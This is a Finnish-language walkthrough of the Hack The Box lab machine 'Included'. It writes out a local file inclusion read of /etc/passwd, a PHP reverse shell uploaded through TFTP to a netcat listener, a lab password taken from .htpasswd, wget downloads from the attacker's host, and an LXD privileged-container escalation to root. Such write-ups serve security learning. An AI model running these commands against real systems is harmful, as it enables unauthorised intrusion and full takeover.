Hack the Box Starting Point Tier 2: Included

Huom. kohteen IP-osoite vaihtuu tehtävässä, koska harjoitusta tehty eri kerroilla.

User flag

Kohteen Nmap-skannauksesta huomataan, että kohteessa on ainoastaan portti 80 (HTTP) avoinna.

Selaimella aukaistu kohteen IP-osoite. Osoiteriviltä huomataan file -muuttuja: file=home.php

Selaimessa kokeiltu päästäänkö tarkastelemaan /etc/passwd -hakemistoa syöttämällä osoiteriville: http://{target_ip}/?file=../../../../../../etc/passwd
Sama toiminto komentorivillä: curl “http://10.129.11.49/?file=/etc/passwd”
Onnistuneesti päästy tarkastelemaan kohteen käyttäjälistaa, joten kohde on altis Local File Inclusion (LFI) -haavoittuvuudelle. Huomataan, että listan viimeinen käyttäjä on tftp

TFTP (Trivial File Transfer Protocol) on tiedostonsiirtoprotokolla, joka toimii UDP:n päällä.

Tehty kohteeseen Nmap UDP-skannaus (-sU) porttiin 69 (TFTP yleensä käynnissä portissa 69). Huomataan, että UDP-portti 69 on avoinna, ja siinä on käynnissä TFTP-palvelin.

Reverse Shellin muodastamista varten ladataan kohteeseen php-reverse-shell.php -tiedosto, joka löytyy Kali Linuxista hakemistosta: /usr/share/webshells/php/php-reverse-shell.php

Muokattu php-reverse-shell.php -tiedostoon oma tun0 IP-osoite ja portti 4444.

Otettu TFPT-yhteys kohteeseen ja ladattu kohteeseen put -komennolla php-reverse-shell.php -tiedosto.

Käynnistetty Netcat-kuuntelija porttiin 4444 (portti, joka merkittiin php-reverse-shell.php -tiedostoon).

Curl -komennolla haettu ladattu php-reverse-shell.php -tiedosto, joka löytyy hakemistosta /var/lib/tftpboot/ (lähde).

Netcat-kuuntelija yhdisti kohteeseen, ja otettu TTY-shell käyttöön komennolla: python3 -c ‘import pty; pty.spawn(“/bin/bash”)

Hakemistosta /var/www/html löytyi tiedostot .htaccess ja .htpasswd
.htpasswd -tiedostossa on tallennettu HTTP-käyttäjien käytäjätunnukset ja salasanat.

Luettu molempien tiedostojen .htaccess ja .htpasswd sisältö. Tiedostosta .htpasswd löytyi käyttäjän mike salasana Sheffield19

Onnistuneesti kirjauduttu sisään käyttäjänä mike käyttäen salasanaa Sheffield19. User flag löytyi hakemistosta /home/mike.

Root flag

Tarkistetaan, minkä ryhmien jäsenenä käyttäjä mike on, ja huomataan, että mike kuuluu LXD-ryhmään, joka on korkean käyttöoikeuden ryhmä Linuxissa.

HackTricks artikkelin mukaan LXD-ryhmässä on haavoittuvuus, jota on mahdollista hyödyntää. Asennetaan artikkelissa mainitut tarvittavat lisäosat:

Go-ohjelmointikielen asennus: sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools

LXC Distribution Builderin lataus ja tekeminen:
git clone https://github.com/lxc/distrobuilder
cd distrobuilder
make

Alpine YAML:n lataaminen ja tekeminen:
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

Alpine YAML:n tekemisen jälkeen tarvittavat tiedostot lxd.tar.xz ja rootlet.squashfs löytyvät samasta kansiosta: distrobuilder/ContainerImages/alpine.

Käynnistetty samassa kansiossa Python HTTP-palvelin komennolla: python3 -m http.server 8000

Reverse Shellissä ladattu tiedostot lxd.tar.xz ja rootlet.squashfs komennoilla:
wget http://{your_tun0_ip}:8000/lxd.tar.xz
wget http://{your_tun0_ip}:8000/rootfs.squashfs

Python HTTP-palvelimelta huomatttiin, että tiedostot siirtyivät onnistuneesti kohteeseen.

Varmistettu vielä Reverse Shellissä, että tiedostot lxd.tar.xz ja rootlet.squashfs ovat kohteessa.

LXC image tuotu kohteessa komennolla: lxc image import lxd.tar.xz rootfs.squashfs –alias alpine ja tarkistettu komennolla lxc image list että imagen tuonti onnistui. Huomataan, että Alpine näkyy onnistuneesti image listauksessa.

Asetettu security.privileged flag todeksi komennolla: lxc init alpine privesc -c security.privileged=true, jotta containerilla on kaikki oikeudet, jotka root-tiedostojärjestelmällä on. Root-tiedostojärjestelmä kiinnitetty containeriin /mnt -kansiossa komennolla: lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

Container käynnistetty komennolla: lxc start privesc ja root-shell komennolla: lxc exec privesc /bin/sh

Root-flag löytyi hakemistosta /mnt/root/root